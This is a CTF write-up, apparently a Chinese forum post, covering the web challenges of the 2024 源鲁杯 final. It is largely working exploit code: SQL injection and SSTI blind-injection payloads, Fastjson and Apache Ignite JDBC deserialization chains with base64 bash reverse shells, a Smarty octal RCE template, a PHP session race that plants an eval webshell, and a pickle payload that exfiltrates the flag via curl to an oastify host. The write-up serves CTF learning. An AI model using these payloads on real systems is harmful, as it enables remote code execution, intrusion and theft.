2024源鲁杯 [Final] WEB
1315609050541697 发表于 湖北 CTF 342浏览 · 2024-10-26 00:31

sInXx

访问题目首页,发现为一个员工查询的小功能,猜测考点应该是 SQL 注入,该位置应该存在SQL命令的拼接,利用 payload :juan79%27%09and%09%281%3D1%29%23,页面存在回显

然后通过测试发现过滤了逗号 可以用join连接表测试列数

1'%09UNION%09SELECT%09*%09FROM%09((SELECT%091)A%09join%09(SELECT%091)B%09join%09(SELECT%091)C%09join%09(SELECT%091)D%09join%09(SELECT%091)E)#

然后我们注入数据表,因为or不能用所以需要无列名注入

1'  UNION   SELECT  *   FROM    ((SELECT    GROUP_CONCAT(TABLE_NAME)    FROM    sys.schema_table_statistics WHERE   TABLE_SCHEMA=DATABASE())A   join    (SELECT 1)B join    (SELECT 1)C join    (SELECT 1)D join    (SELECT 1)E)#

拿到数据表DataSyncFLAG

然后无列名注入拿数据即可

1' UNION SELECT * FROM ((SELECT `2` FROM (SELECT * FROM ((SELECT 1)a JOIN (SELECT 2)b) UNION SELECT * FROM  DataSyncFLAG)alimit 2 offset 1)A join (SELECT 1)B join (SELECT 1)C join (SELECT 1)D join (SELECT 1)E)#

Injct

测试发现 {{}} 被过滤了,那么考虑利用 {% %} 的方式进行绕过,同时发现 print 还是被过滤,那么考虑利用盲注的方式。继续构造,发现 __ 都被过滤了,考虑利用attr~ 进行绕过。
编写脚本

import requests
res = ''
s = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_{}'
for i in range(1,50):
    for j in s:
        url = "http://gzctf.imxbt.cn:50081/greet"
        data= {
            "name":"{%if((''|attr((lipsum|string|list).pop(18)*2~'cla''ss'~(lipsum|string|list).pop(18)*2)|attr((lipsum|string|list).pop(18)*2~'mro'~(lipsum|string|list).pop(18)*2)|attr((lipsum|string|list).pop(18)*2~'geti''tem'~(lipsum|string|list).pop(18)*2)(1)|attr((lipsum|string|list).pop(18)*2~'subc''lasses'~(lipsum|string|list).pop(18)*2)()|attr((lipsum|string|list).pop(18)*2~'geti''tem'~(lipsum|string|list).pop(18)*2)(101)|attr((lipsum|string|list).pop(18)*2~'init'~(lipsum|string|list).pop(18)*2)|attr((lipsum|string|list).pop(18)*2~'global''s'~(lipsum|string|list).pop(18)*2)|attr((lipsum|string|list).pop(18)*2~'getit''em'~(lipsum|string|list).pop(18)*2)((lipsum|string|list).pop(18)*2~'builtin''s'~(lipsum|string|list).pop(18)*2)|attr((lipsum|string|list).pop(18)*2~'geti''tem'~(lipsum|string|list).pop(18)*2)('ev''al')((lipsum|string|list).pop(18)*2~'imp''ort'~(lipsum|string|list).pop(18)*2)('o''s')|attr('po''pen')('head$IFS$9-c$IFS$9"+str(i)+"$IFS$9/flag')|attr('re''ad')())=='"+str(res+j)+"')%}success{%endif%}"

        }

        headers = {"Pragma": "no-cache", "Cache-Control": "no-cache", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}

        r = requests.post(url, headers=headers,data=data)

        if "success" in r.text:

            res+=j

            print(res)

            break

爆破得到flag。

FastDB

访问题目容器,发现为一个简易的图书管理系统。在批量添加图书位置发现是需要输入 json 的数据,猜测利用到 FastJson, 利用 DnsLog 进行测试,如下:

得到回显结果,确实存在fastjson 的反序列化
利用常见的 payload 进行测试,发现并没有直接的回显,猜测依赖版本应该是大于1.2.48,考虑进行 Fastjson+JDBC 的利用。

由于该环境使用的是SpringBoot,且并没有提供源码进行分析,考虑利用 Jackson 构造一条 Spring 的原生反序列化链,进行测试,构建方法如下:

在ysoserial项目中,创建如下利用链:

package ysoserial.payloads;

import com.fasterxml.jackson.databind.node.POJONode;

import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.springframework.aop.framework.AdvisedSupport;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;

public class Spring3 extends PayloadRunner implements ObjectPayload<BadAttributeValueExpException>{
    @Override
    public BadAttributeValueExpException getObject(String command) throws Exception {
        final Object templates = Gadgets.createTemplatesImpl(command);

      //链子删除关键方法
        CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
        CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
        ctClass.removeMethod(writeReplace);
        ctClass.toClass();

        //链子不稳定的问题
        Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
        Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
        cons.setAccessible(true);
        AdvisedSupport advisedSupport = new AdvisedSupport();
        advisedSupport.setTarget(templates);
        InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);
        Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler);

        POJONode node = new POJONode(proxyObj);
        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        Field valfield = val.getClass().getDeclaredField("val");
        Reflections.setAccessible(valfield);
        valfield.set(val, node);
        return val;
    }

    public static void main(String[] args) throws Exception {
        PayloadRunner.run(Spring3.class,args);
    }
}

然后利用工具evil-mysql和自编译的ysoserial生成利用服务:

./evil-mysql -addr 3406 -java java -ysoserial ysoserial.jar

payload如下:

{
    "name": {
        "@type": "java.lang.AutoCloseable",
        "@type": "com.mysql.jdbc.JDBC4Connection",
        "hostToConnectTo": "192.168.67.50",
        "portToConnectTo": 3406,
        "info": {
            "user": "yso_Spring3_bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzE5Mi4xNjguNjcuNTAvNTU1NSAwPiYx}|{base64,-d}|{bash,-i}",
            "password": "pass",
            "statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
            "autoDeserialize": "true",
            "NUM_HOSTS": "1"
        }
    }
}

发送后服务获得请求,如下图:

PHUPE

考点:smarty模板注入
该题提供代码进行分析,且代码文件不多,经过分析定位到如下位置:

<?php
class FileModel {
    private $uploadDir = 'uploads/';

    public function getFileContent() {
        if (isset($_GET['file'])) {
            $file = $this->uploadDir . basename($_GET['file']);
            if (file_exists($file)) {
                return file_get_contents($file);
            }
        }
        return '';
    }

    public function uploadFile($file) {
        $name = isset($_GET['name'])? $_GET['name'] : basename($file['name']);
        $fileExtension = strtolower(pathinfo($name, PATHINFO_EXTENSION));
        if (strpos($fileExtension, 'ph') !== false || strpos($fileExtension, 'hta') !== false ) {
            return false;
        }
        $data = file_get_contents($file['tmp_name']);
        if(preg_match('/php|if|eval|system|exec|shell|readfile|t_contents|function|strings|literal|path|cat|nl|flag|tail|tac|ls|dir|:|show|high/i',$data)){
            echo "<script>alert('恶意内容!')</script>";
            return false;
        }
        $target_file = $this->uploadDir .$name;
        if (move_uploaded_file($file['tmp_name'], $target_file)) {
            echo "<script>alert('文件上传成功!')</script>";
            return true;
        }
        return false;
    }
}

上传文件的后缀名存在限制不能含有 ph 与 hta,由于该题使用到 Smarty 模板,且文件名是通过获取的,考虑上传替换tpl文件,但是又存在限制如下:

考虑进行绕过,查找资料可以发现,在 smarty 还可以使用 math + 8进制 进行绕过如下:

八进制执行system('cat /flag')

{extends file='views/layout.tpl'}
{block name=content}
    <h1>CTF File Reader</h1>
    <form method="post" enctype="multipart/form-data">
        <input type="file" name="file">
        <button type="submit">Upload</button>
    </form>
    <pre>{$file_content}</pre>
{math equation="(\"\\163\\171\\163\\164\\145\\155\")(\"\\143\\141\\164\\40\\57\\146\\154\\141\\147\")"}

{/block}

RedFox

首先访问网站,发现是一个简易版本的社交媒体站点

简单测试之后,发现在发帖功能的位置处存在获取 url 的情况,能够获取远程图片并下载,所以该位置应该是存在服务端请求,根据这个思路猜测是存在 SSRF 漏洞,利用 file 协议测试读取本地文件
发现直接提供了一个eval 代码执行,但是限制我们传入的参数,不能为字母数字,且不一致不能超过7个。

考虑利用 ./???/??? 的方式进行利用,但是需要存在一个临时文件,考虑利用 sess 临时文件,读取配置文件php.ini发现该保存目录为,如下图:

file:///etc/php7.0/apache2/php.ini

得到session.save_path="/var/lib/php/ses"

然后编写脚本写入一句话木马:

import io
import sys
import requests
import threading

sessid = '123123123123123'

def WRITE(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        session.post(
            'http://192.168.50.193:18999/index.php',
            data={
                "PHP_SESSION_UPLOAD_PROGRESS": "1\necho '<?php eval($_POST[1]);'>/var/www/html/uploads/1.php\n"},
            files={"file": ('q.txt', f)},
            cookies={'PHPSESSID': sessid}
        )

def READ(session):
    while True:
        request = requests.session()
        data = {
            'action': 'login',
            'username': 'test',
            'password': 'test123'
        }
        request.post("http://192.168.50.193:18999", data=data)

        data = {
            'action': 'download_message',
            'data': '`. /???/???/???/???/????????????????????`;'
        }
        request.post("http://192.168.50.193:18999/", data=data)

        if requests.get("http://192.168.50.193:18999/uploads/1.php").status_code != 404:
            print('Success!')
            exit(0)

with requests.session() as session:
    t1 = threading.Thread(target=WRITE, args=(session,))
    t1.daemon = True
    t1.start()

    READ(session)

SNEKLY

题目直接提供源码审计,关键触发点应该在于 /unSer,需要构造出 user['data'] 才能够进行反序列化,进行测试后发现存在一处SQL注入,存在 usernamepassword 的一致性检测,考虑利用SQL Quine来进行构造绕过,并且将 user['data'] 位置写入反序列化数据。

关于 SQL Quine 的构造,通常都是以 REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46) 的形式,详细如下:

select replace('replace(".",char(46),".")',char(46),'replace(".",char(46),".")');

利用'replace(".",char(46),".")');替换'replace(".",char(46),".")' 中的符号.

输入和输出的结果为:

replace('replace(".",char(46),".")',char(46),'replace(".",char(46),".")');

replace("replace(".",char(46),".")",char(46),"replace(".",char(46),".")") ;

然后分析 pickle 反序列化,过滤了一些字符,但是可以利用以下 payload 进行绕过:

b'''c__builtin__
filter
p0
0(S'curl http://`whoami`.c6jqhw6vgg44g1o9ys27ay6rbih950tp.oastify.com'
tp1
0(cos
system
g1
tp2
0g0
g2
\x81p3
0c__builtin__
tuple
p4
(g3
t\x81.'''

构造完整的exp, 如下:

import base64
import requests


def quine(data):
    data = data.replace('$$', "REPLACE(REPLACE(REPLACE($$,CHAR(39),CHAR(34)),CHAR(36),$$), CHAR(92), CHAR())")
    data1 = data.replace("'", '"').replace('$$', "'$'")
    data = data.replace('$$', f'"{data1}"')
    return data

def exp():
    username = "test\"'"
    opcode = b'''c__builtin__
filter
p0
0(S'curl http://`cat /f*`.3cgdgr4i4bjr3ytl38s6zm0mddj47vvk.oastify.com'
tp1
0(cos
system
g1
tp2
0g0
g2
\x81p3
0c__builtin__
tuple
p4
(g3
t\x81.'''
    a = base64.b64encode(opcode).decode()
    res = ''
    for i in a:
        if ord(i) > 58 or ord(i) < 47:
            res += "||CHAR(" + str(ord(i)) + ")"
        else:
            res += "||" + i
    res = res[2:]
    password = f" UNION SELECT $$, CHAR({','.join(str(ord(c)) for c in username)}), $$,({res});-- -"
    password = quine(password)
    requests.post(url="http://gzctf.imxbt.cn:50137/login",
                  data={
                      "username": username,
                      "password": password
                  })
    requests.get(url="http://gzctf.imxbt.cn:50137/unSer")
if __name__ == "__main__":
    exp()

ignite

漏洞成因是因为远程节点允许客户端节点传送sqldialect的配置,该配置可以指定jdbc连接字符串,同时需要想办法在服务器还原好org.h2.jdbcx.JdbcDataSource对象,这里的payload是使用IgniteReflectionFactory构造的。

在构造好JdbcDataSource对象后,就可以指定jdbc连接字符串,攻击h2完成rce。

首先准备好java maven项目,将h2-1.4.197.jar设置为项目的依赖lib并添加下列maven依赖

<dependency>

    <groupId>org.apache.ignite</groupId>

    <artifactId>ignite-core</artifactId>

    <version>2.15.0</version>

</dependency>



<dependency>

    <groupId>org.apache.ignite</groupId>

    <artifactId>ignite-spring</artifactId>

    <version>2.15.0</version>

</dependency>

修改下列代码中的[1]、[2]处

import org.apache.ignite.IgniteException;
import org.apache.ignite.Ignition;
import org.apache.ignite.cache.store.jdbc.CacheJdbcPojoStoreFactory;
import org.apache.ignite.configuration.CacheConfiguration;
import org.apache.ignite.configuration.IgniteConfiguration;
import org.apache.ignite.configuration.IgniteReflectionFactory;
import org.apache.ignite.spi.discovery.tcp.TcpDiscoverySpi;
import org.apache.ignite.spi.discovery.tcp.ipfinder.multicast.TcpDiscoveryMulticastIpFinder;

import java.io.Serializable;
import java.util.Collections;
import java.util.HashMap;
import java.util.Map;

public class solve {
    public static  void main(String[] args) throws IgniteException {

        IgniteConfiguration igniteCfg = new IgniteConfiguration();

        CacheConfiguration<Integer, Integer> customCacheCfg = new CacheConfiguration<>();
        CacheJdbcPojoStoreFactory<Integer, Integer> factory = new CacheJdbcPojoStoreFactory<>();
        customCacheCfg.setName("s");

        String javascript = "//javascript\njava.lang.Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzE5Mi4xNjguNjcuNTAvNTU1NSAwPiYx}|{base64,-d}|{bash,-i}\")"; // [1]
        String url        = "jdbc:h2:mem:test;MODE=MSSQLServer;INIT=CREATE TRIGGER hhhh BEFORE SELECT ON INFORMATION_SCHEMA.CATALOGS AS $$" + javascript + "$$";

        Map<String, Serializable> a = new HashMap<>();
        a.put("url",url);
        IgniteReflectionFactory exp = new IgniteReflectionFactory(org.h2.jdbcx.JdbcDataSource.class);
        exp.setProperties(a);
        factory.setDataSourceFactory(exp);

        customCacheCfg.setCacheStoreFactory(factory);

        igniteCfg.setCacheConfiguration(customCacheCfg);

        // The node will be started as a client node.
        igniteCfg.setClientMode(true);

        // Classes of custom Java logic will be transferred over the wire from this app.
        igniteCfg.setPeerClassLoadingEnabled(false);

        // Setting up an IP Finder to ensure the client can locate the servers.
        TcpDiscoveryMulticastIpFinder ipFinder = new TcpDiscoveryMulticastIpFinder();
        ipFinder.setAddresses(Collections.singletonList("127.0.0.1:10000")); // [2]
        igniteCfg.setDiscoverySpi(new TcpDiscoverySpi().setIpFinder(ipFinder));

        // Starting the node
        Ignition.start(igniteCfg);
    }
}

将[1]中修改为自定义的命令,将[2]替换成题目地址,完成修改后运行就能执行命令了。这里反弹shell,直接cat /flag没有权限,执行/readflag即可得到flag。

StrmD

题目给了jar包进行审计,发现存在fastjson 1.2.67与h2的1.4.199依赖。

还没有发现漏洞的触发点,翻找API发现,在 /insert 中存在 fastjson 反序列化的点。但该依赖版本高,存在autoType的限制,需要进行绕过。

发现存在一个类DatabaseConnector 实现了AutoCloseable,存在绕过。
同时还存在以下代码的调用:

判断需要利用该位置进行反序列化,所以创建一个h2.sql,内容如下:

CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
        java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A");
        return s.hasNext() ? s.next() : "";  }
$$;CALL SHELLEXEC('bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEyNy4wLjAuMS84MDgwIDA+JjE=}|{base64,-d}|{bash,-i}')

利用以下payload:

http://192.168.67.50:8080/insert?data=%7B%22%40type%22%3A%22java.lang.AutoCloseable%22%2C%22%40type%22%3A%22com.ctf.ezser.utils.DatabaseConnector%22%2C%22connection%22%3A%22jdbc%3Ah2%3Amem%3A%3BTRACE_LEVEL_SYSTEM_OUT%3D3%3BINIT%3DRUNSCRIPT%20FROM%20'http%3A%2F%2F127.0.0.1%3A8777%2Fh2_exec.sql'%22%7D

{"@type":"java.lang.AutoCloseable",
 "@type":"com.ctf.ezser.utils.DatabaseConnector",
 "connection":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8777/h2_exec.sql'"}
0 条评论
某人
表情
可输入 255
目录